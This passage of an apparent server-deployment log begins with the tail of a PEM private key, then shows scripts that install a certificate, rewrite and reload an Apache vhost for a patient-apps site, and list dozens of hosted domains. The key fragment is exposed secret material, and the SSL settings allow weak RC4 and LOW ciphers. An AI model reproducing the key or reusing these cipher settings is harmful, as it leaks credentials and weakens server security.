ivxgpMJIfCLDxqDwQPfS4PE8qYdieVIJWb1jYLBQYGMdFos8FW0YdJCWjBDvBVr/
uNVwyQhQQ3LVplUOBWcyqBm91KoR8JkXk8QOgphY4kxsKMC06cuVMY2hLskXXRx4
ocpd8lLzHFqwGBLCr8i/LD0+qwKBgQDWyoRuOh9Lf278Zz+x1vjW9iRiJlMbV8JU
h4Aj5An3Mh7kzft2srQ5t+f5oGsAwf1xCprlUYwabC4Mg1gZYwMjt52cQXInlA8f
CXk+5Dztej9WIrZTe3Xl5+qJhclz87O3b57l7MakyHZrS5sxcjOskF+y0aUWcu/x
9yi3c/rOBQKBgFw+qi96oDknOwtwQumseXBIesO/6jOafI7Gv9RphoTIeWK2utZ4
zRezYiE5aMlT7StE3JU58MHfl89VUoNGO47wF9WvZuFHDf+g8mdJqW/XOdnYk+y/
B+k3Qbb/tYeBp7MBdWfeohw0vI5vKgxqk5Ju0y7BDhiwk0Eq48fJ8dtzAoGAYngz
oEj7IeSJICPBeqlgKURsx6ZkQUvJZnE8WLfpra8HpMOd/fvNTgy2x6U4iP9mTlWb
T3hEL7Tao5fvYqwWu2ApXIJQcD6bdBImyKNgH0sFEFsXlUwrb7wTtPplscfO41DD
2wriwpa4W1YtDs0ZTYpepR8hfRoyUI6L1xbPq3UCgYAYtYMN9RlYZzfpx2ZspIpG
KyAaWqe4maLikvxS0q91NL1P68TUdf+2q0RrNAu7M5S/aeG7gOD7VKId0UGWyHsP
/5W/Ed4f7cqPK/8m9ufHqiNJxKbe5S0folvAJScN5tmUQZPbIY5/lC7TEkzYwd9X
OeDrnicaOqmc4e5uvTzbng==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-15 13:04:59: 

chmod 755 /tmp/pkp130411; /tmp/pkp130411; rm /tmp/pkp130411

2026-05-15 13:04:59: 


dir=/etc/ssl/certs


2026-05-15 13:04:59: 

PUT: /tmp/pkp576745

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-15 13:04:59: 

chmod 755 /tmp/pkp576745; /tmp/pkp576745; rm /tmp/pkp576745

2026-05-15 13:04:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-15 13:04:59: 

PUT: /tmp/pkp609719

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2026-05-15 13:04:59: 

chmod 755 /tmp/pkp609719; /tmp/pkp609719; rm /tmp/pkp609719

2026-05-15 13:04:59: 




2026-05-15 13:04:59: 

PUT: /tmp/pkp486531

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-15 13:04:59: 

chmod 755 /tmp/pkp486531; /tmp/pkp486531; rm /tmp/pkp486531

2026-05-15 13:04:59: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-15 13:04:59: Establishing a connection
2026-05-15 13:05:00: 

PUT: /tmp/pkp646523

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-15 13:05:00: 

chmod 755 /tmp/pkp646523; /tmp/pkp646523; rm /tmp/pkp646523

2026-05-15 13:05:00: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
